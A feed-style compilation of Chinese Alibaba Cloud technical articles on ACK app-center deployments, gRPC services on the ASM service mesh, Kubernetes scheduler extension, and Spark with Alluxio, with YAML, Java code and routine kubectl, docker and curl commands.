      已经开通应用中心服务,参考链接 https://help.aliyun.com/document_detail/169923.html

      创建Template数据源

      容器服务控制台 -> 市场 -> 编排模板
      1.png

      创建模板appcenter-template-demo,包含deployment、service和ingress 3个资源

      apiVersion: apps/v1
      kind: Deployment
      metadata:
        name: demo
        labels:
          app: demo
      spec:
        minReadySeconds: 5
        revisionHistoryLimit: 5
        progressDeadlineSeconds: 60
        strategy:
          rollingUpdate:
            maxUnavailable: 1
          type: RollingUpdate
        selector:
          matchLabels:
            app: demo
        template:
          metadata:
            annotations:
              prometheus.io/scrape: "true"
              prometheus.io/port: "9797"
            labels:
              app: demo
          spec:
            containers:
            - name: demo
              image: registry.cn-hangzhou.aliyuncs.com/acs/rollouts-demo:blue
              imagePullPolicy: IfNotPresent
              ports:
              - name: http
                containerPort: 8080
                protocol: TCP
              readinessProbe:
                tcpSocket:
                  port: 8080
                initialDelaySeconds: 5
                timeoutSeconds: 5
              resources:
                limits:
                  cpu: 2000m
                  memory: 512Mi
                requests:
                  cpu: 100m
                  memory: 64Mi
      ---
      apiVersion: v1
      kind: Service
      metadata:
        name: demo-svc
      spec:
        selector:
          app: demo
        ports:
          - protocol: TCP
            port: 80
            targetPort: 8080
      ---
      apiVersion: extensions/v1beta1
      kind: Ingress
      metadata:
        name: demo
        labels:
          app: demo
      spec:
        rules:
          - host: app.demo.example.com
            http:
              paths:
                - backend:
                    serviceName: demo-svc
                    servicePort: 80

      创建完毕
      1.png

      创建应用

      应用中心 -> 应用 -> 创建应用
      1.png

      通用

      应用名称: appcenter-template-demo
      部署策略: 手动
      1.png

      类型:自定义模板
      模板:appcenter-template-demo
      1.png

      目标集群

      集群:in-cluster(https://kubernetes.default.svc)
      命名空间:demo-template
      1.png

      点击 创建
      1.png

      部署应用

      点击应用可以查看应用详情, 下图是示例应用的Kubernetes资源全量拓扑结构
      1.png

      点击右上角的部署, 默认勾选的要部署资源有deployment、service和ingress资源
      1.png
      这里的黄色的小标识OutOfSync代表的意思是,当前模板描述的资源和Kubernetes集群内的实际情况不一致,也就是说,目前的应用模板并没有部署到集群中,下面我们点击右上角的部署按钮,将应用部署到集群中。
      点击部署完成应用部署

      稍等片刻应用就会部署完毕,整个部署过程会实时的展现在用户面前,最终的部署样式如图所示。这里最下方的状态显示为Healthy 和Synced,表示当前模板已经部署到Kubernetes 集群中,且已经符合部署模板的期望状态。
      1.png

      除了查看整个应用的部署拓扑外,我们还可以查看应用的流量结构,点击右上角的图标就可以观察这个应用的流量拓扑情况。
      1.png

      更新应用

      下面我们来演示一下如何更新应用, 首先需要在编排模板中更新appcenter-template-demo, 本示例中我们把Deployment资源中的image tag从blue改为red,此时您会发现appcenter-template-demo模板有了新的历史版本记录
      1.png
      此时回到应用中心页面,手动点击 刷新 -> 强制刷新(若部署策略为自动,则应用中心每3分钟自动检查数据源更新)
      可以看到应用状态为OutOfSync, 意为当前环境中应用状态与数据源中所声明的状态不一致
      1.png

      点击 版本差异 可以查看本次变更的详细内容
      1.png

      再次点击部署,更新集群环境中的应用到最新版本
      1.png

      可以看到应用已经更新为image tag为red的新版本
      1.png

      应用回滚

      历史版本/回滚 -> 选择需要回滚的历史版本 -> 回滚
      1.png

      回滚过程中,可以刷新查看具体的情况,回滚完毕后,可以看到镜像已经回到了blue,但是整个应用的状态是OutOfSync,这个是因为和git里面存放的部署模板不一致导致的。
      1.png

      ]]>
      基于ASM的GRPC服务部署实践 Fri, 02 May 2025 09:39:04 +0800 继MicroServices之后,ServiceMesh是又一个推动软件工业的革命性技术。其服务治理的方法论,不仅改变了技术实现的方式和社会分工。

      运行于数据平面的用户服务与治理服务的各种规则彻底解耦。运行于控制平面的规则定义组件,将流量控制的具体规则推送给运行于数据平面的proxy,proxy通过对用户服务的ingress和egress的实际控制,最终实现服务治理。

      原本需要服务开发者编程实现的服务发现、容错、灰度、流量复制等能力,被ServiceMesh非侵入的方式实现。此外,ServiceMesh还提供了访问控制、认证授权等功能,进一步减轻了用户服务的开发成本。

      阿里云提供的服务网格(ASM)是基于容器服务(ACK)之上的托管版ServiceMesh,在提供完整的ServiceMesh能力的同时(ASM还在底层横向拉通了阿里云云原生的各种能力,不在本篇讲述范围),免去了用户搭建和运维ServiceMesh平台istio的繁琐工作。本篇将分享如何将我们自己的GRPC服务,托管到阿里云的服务网格中。

      1. grpc服务

      grpc协议相比http而言,既具备http跨操作系统和编程语言的好处,又提供了基于流的通信优势。而且,grpc逐渐成为工业界的标准,一旦我们的grpc服务可以mesh化,那么更多的非标准协议就可以通过转为grpc协议的方式,低成本地接入服务网格,实现跨技术栈的服务通信。

      grpc服务的示例部分使用最普遍的编程语言Java及最高效的编程框架SpringBoot。示例的拓扑示意如下:

      1.grpc.png

      1.1 springboot

      common——proto2java

      示例工程包含三个模块,分别是commonproviderconsumer。其中,common负责将定义grpc服务的protobuf转换为java的rpc模板代码;后两者对其依赖,分别实现grpc的服务端和客户端。

      示例工程的protobuf定义如下,实现了两个方法SayHelloSayByeSayHello的入参是一个字符串,返回一个字符串;SayBye只有一个字符串类型的出参。

      syntax = "proto3";
      import "google/protobuf/empty.proto";
      package org.feuyeux.grpc;
      
      option java_multiple_files = true;
      option java_package = "org.feuyeux.grpc.proto";
      
      service Greeter {
        rpc SayHello (HelloRequest) returns (HelloReply) {}
        rpc SayBye (google.protobuf.Empty) returns (HelloReply) {}
      }
      
      message HelloRequest {
        string name = 1;
      }
      
      message HelloReply {
        string reply = 1;
      }

      common构建过程使用protobuf-maven-plugin自动生成rpc模板代码。

      provider——grpc-spring-boot-starter

      provider依赖grpc-spring-boot-starter包以最小化编码,实现grpc服务端逻辑。示例实现了两套grpc方法,以在后文演示不同流量的返回结果不同。

      第一套方法示意如下:

      @GRpcService
      public class GreeterImpl extends GreeterImplBase {
      
          @Override
          public void sayHello(HelloRequest request, StreamObserver<HelloReply> responseObserver) {
              String message = "Hello " + request.getName() + "!";
              HelloReply helloReply = HelloReply.newBuilder().setReply(message).build();
              responseObserver.onNext(helloReply);
              responseObserver.onCompleted();
          }
      
          @Override
          public void sayBye(com.google.protobuf.Empty request, StreamObserver<HelloReply> responseObserver) {
              String message = "Bye bye!";
              HelloReply helloReply = HelloReply.newBuilder().setReply(message).build();
              responseObserver.onNext(helloReply);
              responseObserver.onCompleted();
          }
      }

      第二套方法示意如下:

      @GRpcService
      public class GreeterImpl2 extends GreeterImplBase {
      
          @Override
          public void sayHello(HelloRequest request, StreamObserver<HelloReply> responseObserver) {
              String message = "Bonjour " + request.getName() + "!";
              HelloReply helloReply = HelloReply.newBuilder().setReply(message).build();
              responseObserver.onNext(helloReply);
              responseObserver.onCompleted();
          }
      
          @Override
          public void sayBye(com.google.protobuf.Empty request, StreamObserver<HelloReply> responseObserver) {
              String message = "au revoir!";
              HelloReply helloReply = HelloReply.newBuilder().setReply(message).build();
              responseObserver.onNext(helloReply);
              responseObserver.onCompleted();
          }
      }

      consumer——RESTful

      consumer的作用有两个,一个是对外暴露RESTful服务,一个是作为grpc的客户端调用grpc服务端provider。示意代码如下:

      @RestController
      public class GreeterController {
          private static String GRPC_PROVIDER_HOST;
      
          static {
              GRPC_PROVIDER_HOST = System.getenv("GRPC_PROVIDER_HOST");
              if (GRPC_PROVIDER_HOST == null || GRPC_PROVIDER_HOST.isEmpty()) {
                  GRPC_PROVIDER_HOST = "provider";
              }
              LOGGER.info("GRPC_PROVIDER_HOST={}", GRPC_PROVIDER_HOST);
          }
      
          @GetMapping(path = "/hello/{msg}")
          public String sayHello(@PathVariable String msg) {
              final ManagedChannel channel = ManagedChannelBuilder.forAddress(GRPC_PROVIDER_HOST, 6565)
                      .usePlaintext()
                      .build();
              final GreeterGrpc.GreeterFutureStub stub = GreeterGrpc.newFutureStub(channel);
              ListenableFuture<HelloReply> future = stub.sayHello(HelloRequest.newBuilder().setName(msg).build());
              try {
                  return future.get().getReply();
              } catch (InterruptedException | ExecutionException e) {
                  LOGGER.error("", e);
                  return "ERROR";
              }
          }
      
          @GetMapping("bye")
          public String sayBye() {
              final ManagedChannel channel = ManagedChannelBuilder.forAddress(GRPC_PROVIDER_HOST, 6565)
                      .usePlaintext()
                      .build();
              final GreeterGrpc.GreeterFutureStub stub = GreeterGrpc.newFutureStub(channel);
              ListenableFuture<HelloReply> future = stub.sayBye(Empty.newBuilder().build());
              try {
                  return future.get().getReply();
              } catch (InterruptedException | ExecutionException e) {
                  LOGGER.error("", e);
                  return "ERROR";
              }
          }
      }

      这里需要注意的是GRPC_PROVIDER_HOST变量,我们在ManagedChannelBuilder.forAddress(GRPC_PROVIDER_HOST, 6565)中使用到这个变量,以获得provider服务的地址。相信你已经发现,服务开发过程中,我们没有进行任何服务发现能力的开发,而是从系统环境变量里获取这个值。而且,在该值为空时,我们使用了一个hardcode值provider。没错,这个值将是后文配置在isito中的provider服务的约定值。

      1.2 curl&grpcurl

      本节将讲述示例工程的本地启动和验证。首先我们通过如下脚本构建和启动provider和consumer服务:

      # terminal 1
      mvn clean install -DskipTests -U
      java -jar provider/target/provider-1.0.0.jar
      
      # terminal 2
      export GRPC_PROVIDER_HOST=localhost
      java -jar consumer/target/consumer-1.0.0.jar

      我们使用curl以http的方式请求consumer:

      # terminal 3
      $ curl localhost:9001/hello/feuyeux
      
      Hello feuyeux!
      
      $ curl localhost:9001/bye
      
      Bye bye!

      最后我们使用grpcurl直接测试provider:

      $ grpcurl -plaintext -d @ localhost:6565 org.feuyeux.grpc.Greeter/SayHello <<EOM   
      {
        "name":"feuyeux"
      }
      EOM
      
      {
        "reply": "Hello feuyeux!"
      }
      
      $ grpcurl -plaintext localhost:6565 org.feuyeux.grpc.Greeter/SayBye                                                                                                 
      {
        "reply": "Bye bye!"
      }

      1.2 docker

      服务验证通过后,我们制作三个docker镜像,以作为deployment部署到kubernetes上。这里以provider的dockerfile为例:

      FROM openjdk:8-jdk-alpine
      ARG JAR_FILE=provider-1.0.0.jar
      COPY ${JAR_FILE} provider.jar
      COPY grpcurl /usr/bin/grpcurl
      ENTRYPOINT ["java","-jar","/provider.jar"]

      构建镜像和推送到远端仓库的脚本示意如下:

      docker build -f grpc.provider.dockerfile -t feuyeux/grpc_provider_v1:1.0.0 .
      docker build -f grpc.provider.dockerfile -t feuyeux/grpc_provider_v2:1.0.0 .
      docker build -f grpc.consumer.dockerfile -t feuyeux/grpc_consumer:1.0.0 .
      
      docker push feuyeux/grpc_provider_v1:1.0.0
      docker push feuyeux/grpc_provider_v2:1.0.0
      docker push feuyeux/grpc_consumer:1.0.0

      本地启动服务验证,示意如下:

      # terminal 1
      docker run --name provider2 -p 6565:6565 feuyeux/grpc_provider_v2:1.0.0
      
      # terminal 2
      docker exec -it provider2 sh
      grpcurl -v -plaintext localhost:6565 org.feuyeux.grpc.Greeter/SayBye
      exit
      # terminal 3
      export LOCAL=$(ipconfig getifaddr en0)
      docker run --name consumer -e GRPC_PROVIDER_HOST=${LOCAL} -p 9001:9001 feuyeux/grpc_consumer
      # terminal 4
      curl -i localhost:9001/bye

      1.3 istio

      验证完镜像后,我们进入重点。本节将完整讲述如下拓扑的服务治理配置:
      2.mesh-arch.png

      Deployment

      consumer的deployment声明示意如下:

      apiVersion: apps/v1
      kind: Deployment
      metadata:
        labels:
          app: consumer
          version: v1
      ...
            containers:
              - name: consumer
                image: feuyeux/grpc_consumer:1.0.0
                imagePullPolicy: IfNotPresent
                ports:
                  - containerPort: 9001

      provider1的deployment声明示意如下:

      apiVersion: apps/v1
      kind: Deployment
      metadata:
        name: provider-v1
        labels:
          app: provider
          version: v1
      ...
            containers:
              - name: provider
                image: feuyeux/grpc_provider_v1:1.0.0
                imagePullPolicy: IfNotPresent
                ports:
                  - containerPort: 6565

      provider2的deployment声明示意如下:

      apiVersion: apps/v1
      kind: Deployment
      metadata:
        name: provider-v2
        labels:
          app: provider
          version: v2
      ...
            containers:
              - name: provider
                image: feuyeux/grpc_provider_v2:1.0.0
                imagePullPolicy: IfNotPresent
                ports:
                  - containerPort: 6565

      Deployment中使用到了前文构建的三个镜像。在容器服务中不存在时(IfNotPresent)即会拉取。

      这里需要注意的是,provider1和provider2定义的labels.app都是provider,这个标签是provider的唯一标识,只有相同才能被Service的Selector找到并认为是一个服务的两个版本。

      服务发现

      provider的Service声明示意如下:

      apiVersion: v1
      kind: Service
      metadata:
        name: provider
        labels:
          app: provider
          service: provider
      spec:
        ports:
          - port: 6565
            name: grpc
            protocol: TCP
        selector:
          app: provider

      前文已经讲到,服务开发者并不实现服务注册和服务发现的功能,也就是说示例工程不需要诸如zookeeper/etcd/Consul等组件的客户端调用实现。Service的域名将作为服务注册的名称,服务发现时通过这个名称就能找到相应的实例。因此,前文我们直接使用了hardcode的provider

      grpc路由

      服务治理的经典场景是对http协议的服务,通过匹配方法路径前缀来路由不同的RESTful方法。grpc的路由方式与此类似,它是通过http2实现的。grpc的service接口及方法名与 http2的对应形式是`Path : /Service-Name/{method name}。因此,我们可以为Gateway的VirtualService定义如下的匹配规则:

      apiVersion: networking.istio.io/v1alpha3
      kind: VirtualService
      metadata:
        name: grpc-gw-vs
      spec:
        hosts:
          - "*"
        gateways:
          - grpc-gateway
        http:
      ...
          - match:
              - uri:
                  prefix: /org.feuyeux.grpc.Greeter/SayBye
              - uri:
                  prefix: /org.feuyeux.grpc.Greeter/SayHello

      AB流量

      掌握了grpc通过路径的方式路由,定义AB流量便水到渠成:

      apiVersion: networking.istio.io/v1alpha3
      kind: VirtualService
      metadata:
        name: provider
      spec:
        gateways:
          - grpc-gateway
        hosts:
          - provider
        http:
          - match:
              - uri:
                  prefix: /org.feuyeux.grpc.Greeter/SayHello
            name: hello-routes
            route:
              - destination:
                  host: provider
                  subset: v1
                weight: 50
              - destination:
                  host: provider
                  subset: v2
                weight: 50
          - match:
              - uri:
                  prefix: /org.feuyeux.grpc.Greeter/SayBye
            name: bye-route
      ...

      到此,示例工程的核心能力简单扼要地讲述完毕。详细代码请clone本示例工程。接下来,我将介绍如何将我们的grpc服务实例部署到阿里云服务网格。

      2. 服务网格实践

      2.1 托管集群

      首先使用阿里云账号登录,进入容器服务控制台(https://cs.console.aliyun.com),创建Kubernetes集群-标准托管集群。详情见帮助文档:快速创建Kubernetes托管版集群

      2.2 服务网格

      进入服务网格控制台(https://servicemesh.console.aliyun.com>),创建服务网格实例。详情见帮助文档:[服务网格 ASM > 快速入门 使用流程](https://help.aliyun.com/document_detail/149552.html)

      服务网格实例创建成功后,确保数据平面已经添加容器服务集群。然后开始数据平面的配置。

      2.3 数据平面

      kubeconfig

      在执行数据平面的部署前,我们先确认下即将用到的两个kubeconfig。

      • 进入容器实例界面,获取kubconfig,并保存到本地~/shop/bj_config
      • 进入服务网格实例界面,点击连接配置,获取kubconfig,并保存到本地~/shop/bj_asm_config

      请注意,在数据平面部署过程中,我们使用~/shop/bj_config这个kubeconfig;在控制平面的部署中,我们使用~/shop/bj_asm_config这个kubeconfig。

      设置自动注入

      kubectl 
      --kubeconfig ~/shop/bj_config 
      label namespace default istio-injection=enabled

      可以通过访问容器服务的命名空间界面进行验证。

      部署deployment和service

      export DEMO_HOME=
      
      kubectl 
      --kubeconfig ~/shop/bj_config 
      apply -f $DEMO_HOME/istio/kube/consumer.yaml
      
      kubectl 
      --kubeconfig ~/shop/bj_config 
      apply -f $DEMO_HOME/istio/kube/provider1.yaml
      
      kubectl 
      --kubeconfig ~/shop/bj_config 
      apply -f $DEMO_HOME/istio/kube/provider2.yaml

      可以通过访问容器服务的如下界面进行验证:

      通过如下命令,确认pod的状态是否符合预期:

      $ kubectl 
      --kubeconfig ~/shop/bj_config 
      get pod
      
      NAME                           READY   STATUS    RESTARTS   AGE
      consumer-v1-5c565d57f-vb8qb    2/2     Running   0          7h24m
      provider-v1-54dbbb65d8-lzfnj   2/2     Running   0          7h24m
      provider-v2-9fdf7bd6b-58d4v    2/2     Running   0          7h24m

      入口网关服务

      最后,我们通过ASM管控台配置入口网关服务,以对外公开http协议的9001端口和grpc协议的6565端口。

      image.png

      创建完成后,我们就有了公网的IP。余文测试验证环节将使用到这里配置的入口网关IP 39.102.37.176

      image.png

      2.4 控制平面

      部署Gateway

      kubectl 
      --kubeconfig ~/shop/bj_asm_config 
      apply -f $DEMO_HOME/istio/networking/gateway.yaml

      部署完毕后,在ASM控制台的控制平面-服务网关界面下,可以看到这个Gateway实例。也可以直接使用该界面创建和删除服务网格的Gateway实例。
      image.png

      部署VirtualService

      kubectl 
      --kubeconfig ~/shop/bj_asm_config 
      apply -f $DEMO_HOME/istio/networking/gateway-virtual-service.yaml
      
      kubectl 
      --kubeconfig ~/shop/bj_asm_config 
      apply -f $DEMO_HOME/istio/networking/provider-virtual-service.yaml
      
      
      kubectl 
      --kubeconfig ~/shop/bj_asm_config 
      apply -f $DEMO_HOME/istio/networking/consumer-virtual-service.yaml

      部署完毕后,在ASM控制台的控制平面-虚拟服务界面下,可以看到VirtualService实例列表。也可以直接使用界面创建和删除服务网格的VirtualService实例。
      image.png

      部署DestinationRule

      kubectl 
      --kubeconfig ~/shop/bj_asm_config 
      apply -f $DEMO_HOME/istio/networking/provider-destination-rule.yaml
      
      kubectl 
      --kubeconfig ~/shop/bj_asm_config 
      apply -f $DEMO_HOME/istio/networking/consumer-destination-rule.yaml

      部署完毕后,在ASM控制台的控制平面-目标规则界面下,可以看到DestinationRule实例列表。也可以直接使用界面创建和删除服务网格的DestinationRule实例。

      image.png

      2.5 流量验证

      完成grpc服务在ASM的部署后,我们首先验证如下链路的流量:
      image.png

      HOST=39.102.37.176
      for ((i=1;i<=10;i++)) ;  
      do   
      curl ${HOST}:9001/hello/feuyeux
      echo
      done

      最后再来验证我如下链路的流量:
      image.png

      # terminal 1
      export GRPC_PROVIDER_HOST=39.102.37.176
      java -jar consumer/target/consumer-1.0.0.jar
      
      # terminal 2
      for ((i=1;i<=10;i++)) ;  
      do   
      curl localhost:9001/bye
      echo
      done

      到此,GPRC服务成功部署到ASM。篇幅所限,更多服务网格的能力有待开发者结合自己的业务场景去探索。欢迎技术交流。

      ]]>
      进击的Kubernetes调度系统(一):Scheduling Framework Fri, 02 May 2025 09:39:04 +0800 作者:王庆璨 张凯

      前言

      Kubernetes已经成为目前事实标准上的容器集群管理平台。它为容器化应用提供了自动化部署、运维、资源调度等全生命周期管理功能。经过3年多的快速发展,Kubernetes在稳定性、扩展性和规模化方面都有了长足进步。 尤其是Kubernetes控制平面的核心组件日臻成熟。而作为决定容器能否在集群中运行的调度器Kube-scheduler,更是由于长久以来表现稳定,且已能满足大部分Pod调度场景,逐渐不被开发人员特别关注。

      伴随着Kubernetes在公有云以及企业内部IT系统中广泛应用,越来越多的开发人员尝试使用Kubernetes运行和管理Web应用和微服务以外的工作负载。典型场景包括机器学习和深度学习训练任务,高性能计算作业,基因计算工作流,甚至是传统的大数据处理任务。此外,Kubernetes集群所管理的资源类型也愈加丰富,不仅有GPU,TPU和FPGA,RDMA高性能网络,还有针对领域任务的各种定制加速器,比如各种AI芯片,NPU,视频编解码器等。开发人员希望在Kubernetes集群中能像使用CPU和内存那样简单地声明式使用各种异构设备。

      总的来说,围绕Kubernetes构建一个容器服务平台,统一管理各种新算力资源,弹性运行多种类型应用,最终把服务按需交付到各种运行环境(包括公共云、数据中心、边缘节点,甚至是终端设备),已然成为云原生技术的发展趋势。

      阿里云容器服务团队结合多年Kubernetes产品化与客户支持经验,对Kube-scheduler进行了大量扩展和改进,逐步使其在多种场景下依然能稳定、高效地调度复杂工作负载类型。

      《进击的Kubernetes调度系统》系列文章将把我们的经验、技术思考和实现细节全面地展现给Kubernetes用户和开发者,期望帮助大家更好地了解Kubernetes调度系统的强大能力和未来发展方向。

      早期方案

      首先,让我们来了解一下Kubernetes社区都有过哪些提升调度器扩展能力的方案。

      要统一管理和调度异构资源与更多复杂工作负载类型,首先面对挑战的就是Kube-scheduler。在Kubernetes社区里关于提升调度器扩展能力的讨论一直不断。sig-scheduling给出的判断是,越多功能加入,使得调度器代码量庞大,逻辑复杂,导致维护的难度越来越大,很多bug难以发现、处理。而对于使用了自定义调度的用户来说,跟上每一次调度器功能更新,都充满挑战。

      在阿里云,我们的用户遇到了同样的挑战。Kubernetes原生调度器循环处理单个Pod容器的固定逻辑,无法及时、简单地支持用户在不同场景的需求。所以针对特定的场景,我们会基于原生Kube-scheduler扩展自己的调度策略。

      最初对于Kube-scheduler进行扩展的方式主要有两种,一种是调度器扩展(Scheduler Extender), 另外一种是多调度器(Multiple schedulers)。接下来我们对这两种方式分别进行介绍和对比。

      Scheduler Extender

      社区最初提供的方案是通过Extender的形式来扩展scheduler。Extender是外部服务,支持Filter、Preempt、Prioritize和Bind的扩展,scheduler运行到相应阶段时,通过调用Extender注册的webhook来运行扩展的逻辑,影响调度流程中各阶段的决策结果。


      以Filter阶段举例,执行过程会经过2个阶段:

      1. scheduler会先执行内置的Filter策略,如果执行失败的话,会直接标识Pod调度失败。
      2. 如何内置的Filter策略执行成功的话,scheduler通过Http调用Extender注册的webhook, 将调度所需要的Pod和Node的信息发送到到Extender,根据返回filter结果,作为最终结果。

      scheduler-extender.svg

      我们可以发现Extender存在以下问题:

      1. 调用Extender的接口是HTTP请求,受到网络环境的影响,性能远低于本地的函数调用。同时每次调用都需要将Pod和Node的信息进行marshaling和unmarshalling的操作,会进一步降低性能。
      2. 用户可以扩展的点比较有限,位置比较固定,无法支持灵活的扩展,例如只能在执行完默认的Filter策略后才能调用。

      基于以上介绍,Extender的方式在集群规模较小,调度效率要求不高的情况下,是一个灵活可用的扩展方案,但是在正常生产环境的大型集群中,Extender无法支持高吞吐量,性能较差。

      Multiple schedulers

      Scheduler在Kubernetes集群中其实类似于一个特殊的Controller,通过监听Pod和Node的信息,给Pod挑选最佳的节点,更新Pod的spec.NodeName的信息来将调度结果同步到节点。所以对于部分有特殊的调度需求的用户,有些开发者通过自研Custom Scheduler来完成以上的流程,然后通过和default scheduler同时部署的方式,来支持自己特殊的调度需求。


      1588144283202-b3734bbe-b06d-4c65-81b2-d17bf44b521e.svg
      ]]> 进击的Kubernetes调度系统(二):支持批任务的Coscheduling/Gang scheduling Fri, 02 May 2025 09:39:04 +0800 作者:王庆璨 张凯

      进击的Kubernetes调度系统(一):Scheduling Framework
      进击的Kubernetes调度系统(二):支持批任务的Coscheduling/Gang scheduling

      前言

      首先我们来了解一下什么是Coscheduling和Gang scheduling。Wikipedia对 Coscheduling的定义是“在并发系统中将多个相关联的进程调度到不同处理器上同时运行的策略”。在Coscheduling的场景中,最主要的原则是保证所有相关联的进程能够同时启动。防止部分进程的异常,导致整个关联进程组的阻塞。这种导致阻塞的部分异常进程,称之为“碎片(fragement)”。
      在Coscheduling的具体实现过程中,根据是否允许“碎片”存在,可以细分为Explicit Coscheduling,Local Coscheduling和Implicit Coscheduling。 其中Explicit Coscheduling就是大家常听到的Gang Scheduling。Gang Scheduling要求完全不允许有“碎片”存在, 也就是“All or Nothing”。

      我们将上述定义的概念对应到Kubernetes中,就可以理解Kubernetes调度系统支持批任务Coscheduling的含义了。 一个批任务(关联进程组)包括了N个Pod(进程),Kubernetes调度器负责将这N个Pod调度到M个节点(处理器)上同时运行。如果这个批任务需要部分Pod同时启动即可运行,我们称需启动Pod的最小数量为min-available。特别地,当min-available=N时,批任务要求满足Gang Scheduling。

      为什么Kubernetes调度系统需要Coscheduling?

      Kubernetes目前已经广泛的应用于在线服务编排,为了提升集群的的利用率和运行效率,我们希望将Kubernetes作为一个统一的管理平台来管理在线服务和离线作业。默认的调度器是以Pod为调度单元进行依次调度,不会考虑Pod之间的相互关系。但是很多数据计算类的离线作业具有组合调度的特点,即要求所有的子任务都能够成功创建后,整个作业才能正常运行。如果只有部分子任务启动的话,启动的子任务将持续等待剩余的子任务被调度。这正是Gang Scheduling的场景。

      如下图所示,JobA需要4个Pod同时启动,才能正常运行。Kube-scheduler依次调度3个Pod并创建成功。到第4个Pod时,集群资源不足,则JobA的3个Pod处于空等的状态。但是它们已经占用了部分资源,如果第4个Pod不能及时启动的话,整个JobA无法成功运行,更糟糕的是导致集群资源浪费。


      1585658750819-8fe7f3da-ffc1-49a4-a5a0-9d8f7b624b59.png
      ]]> 在Kubernetes中用Alluxio加速Spark数据访问(一) Fri, 02 May 2025 09:39:04 +0800 1.背景信息

      1.1 alluxio

      Alluxio是一个开源的基于内存的分布式存储系统,适合作为云上大数据和AI / ML的数据编排方案。Alluxio可以同时管理多个底层文件系统,将不同的文件系统统一在同一个名称空间下,让上层客户端可以自由访问统一名称空间内的不同路径,不同存储系统的数据。

      alluxio的short-circuit功能可以使alluxio客户端直接访问alluxio worker所在主机的工作存储,而不需要通过网络栈与alluxio worker完成通信,可以提高性能。

      1.2 spark operator

      Spark-operator用于管理k8s集群中spark job。通过spark-operator可以在k8s集群中创建、查看和删除spark job。

      2.前提条件

      本文档的操作依赖如下的一些条件:

      • kubernetes集群:版本大于1.8,本次实验的集群通过阿里云容器服务创建,集群名称为"ack-create-by-openapi-1"。

      image.png

      • 安装有linux或者mac操作系统的计算机作为我们的实验环境(本次实验中,假设该计算机名称为alluxio-test)。该计算机需要准备如下环境:

        • docker >= 17.06
        • kubectl >= 1.8,能够连接kubernets集群ack-create-by-openapi-1

      3.实验步骤

      实验步骤主要包括如下几步:

      • 部署alluxio
      • 部署spark-operator
      • 制作spark docker镜像
      • 上传文件到alluxio
      • 提交spark job

      下面将对每个步骤进行说明:

      3.1 部署alluxio

      进入容器服务应用目录,在右上角的搜索框中搜索"alluxio",然后进入alluxio主界面,如图:
      image.png

      选择“参数”,修改配置中properties部分的"alluxio.user.short.circuit.enabled"值为"false",然后选择将alluxio安装到目标集群上(本次实验的集群为"ack-create-by-openapi-1"),最后点击创建,如图
      image.png

      点击创建后,使用kubectl给待安装的alluxio组件的节点打上标签"alluxio=true",首先查看该集群有哪些节点:

      $ kubectl get nodes -o wide
      NAME                      STATUS   ROLES    AGE   VERSION            INTERNAL-IP    EXTERNAL-IP   OS-IMAGE                               KERNEL-VERSION            CONTAINER-RUNTIME
      cn-beijing.192.168.8.12   Ready    master   21d   v1.16.6-aliyun.1   192.168.8.12   <none>        Aliyun Linux 2.1903 (Hunting Beagle)   4.19.57-15.1.al7.x86_64   docker://19.3.5
      cn-beijing.192.168.8.13   Ready    master   21d   v1.16.6-aliyun.1   192.168.8.13   <none>        Aliyun Linux 2.1903 (Hunting Beagle)   4.19.57-15.1.al7.x86_64   docker://19.3.5
      cn-beijing.192.168.8.14   Ready    master   21d   v1.16.6-aliyun.1   192.168.8.14   <none>        Aliyun Linux 2.1903 (Hunting Beagle)   4.19.57-15.1.al7.x86_64   docker://19.3.5
      cn-beijing.192.168.8.15   Ready    <none>   21d   v1.16.6-aliyun.1   192.168.8.15   <none>        Aliyun Linux 2.1903 (Hunting Beagle)   4.19.57-15.1.al7.x86_64   docker://19.3.5
      cn-beijing.192.168.8.16   Ready    <none>   21d   v1.16.6-aliyun.1   192.168.8.16   <none>        Aliyun Linux 2.1903 (Hunting Beagle)   4.19.57-15.1.al7.x86_64   docker://19.3.5
      cn-beijing.192.168.8.17   Ready    <none>   21d   v1.16.6-aliyun.1   192.168.8.17   <none>        Aliyun Linux 2.1903 (Hunting Beagle)   4.19.57-15.1.al7.x86_64   docker://19.3.5

      可以看到有三个worker节点,分别为:

      • cn-beijing.192.168.8.15
      • cn-beijing.192.168.8.16
      • cn-beijing.192.168.8.17

      我们给是三个节点都打上标签"alluxio=true":

      $ kubectl label nodes cn-beijing.192.168.8.15 
        cn-beijing.192.168.8.16 
        cn-beijing.192.168.8.17 
        alluxio=true

      使用kubectl查看各个pod是否都处于running状态:

      $ kubectl get po -n alluxio
      NAME                   READY   STATUS    RESTARTS   AGE
      alluxio-master-0       2/2     Running   0          4h1m
      alluxio-worker-5zg26   2/2     Running   0          4h1m
      alluxio-worker-ckmr9   2/2     Running   0          4h1m
      alluxio-worker-dvgvd   2/2     Running   0          4h1m

      验证alluxio是否处于ready:

      $ kubectl exec -ti alluxio-master-0 -n alluxio bash
      
      //下面步骤alluxio-master-0 pod中执行
      bash-4.4# alluxio fsadmin report capacity
      
      Capacity information for all workers:
          Total Capacity: 3072.00MB
              Tier: MEM  Size: 3072.00MB
          Used Capacity: 0B
              Tier: MEM  Size: 0B
          Used Percentage: 0%
          Free Percentage: 100%
      
      Worker Name      Last Heartbeat   Storage       MEM
      192.168.8.15    0                capacity      1024.00MB
                                        used          0B (0%)
      192.168.8.16    0                capacity      1024.00MB
                                        used          0B (0%)
      192.168.8.17    0                capacity      1024.00MB
                                        used          0B (0%)

      3.2 部署spark-operator

      进入容器服务应用目录,在右上角的搜索框中搜索"ack-spark-operator",然后进入ack-spark-operator主界面,如图:
      image.png
      选择将ack-spark-operator安装到目标集群上(本次实验的集群为"ack-create-by-openapi-1"),然后点击创建,如图:
      image.png

      本次实验将会使用sparkctl向k8s集群提交一个spark job,需要将sparkctl安装到我们在"2.前提条件"中所提到的实验环境"alluxio-test"中:

      $ wget http://spark-on-k8s.oss-cn-beijing.aliyuncs.com/sparkctl/sparkctl-linux-amd64 -O /usr/local/bin/sparkctl
      $ chmod +x /usr/local/bin/sparkctl

      3.3 制作spark docker镜像

      spark下载页面下载所需的spark版本,本次实验选择的saprk版本为2.4.6。运行如下命令下载spark:

      $ cd /root
      $ wget https://mirror.bit.edu.cn/apache/spark/spark-2.4.6/spark-2.4.6-bin-hadoop2.7.tgz
      #

      下载完成后,执行解压操作:

      $ tar -xf spark-2.4.6-bin-hadoop2.7.tgz
      $ export SPARK_HOME=/root/spark-2.4.6-bin-hadoop2.7

      spark docker镜像是我们提交spark任务时使用到的镜像,这个镜像中需要包含alluxio client jar包。使用如下的命令获取alluxio client jar包:

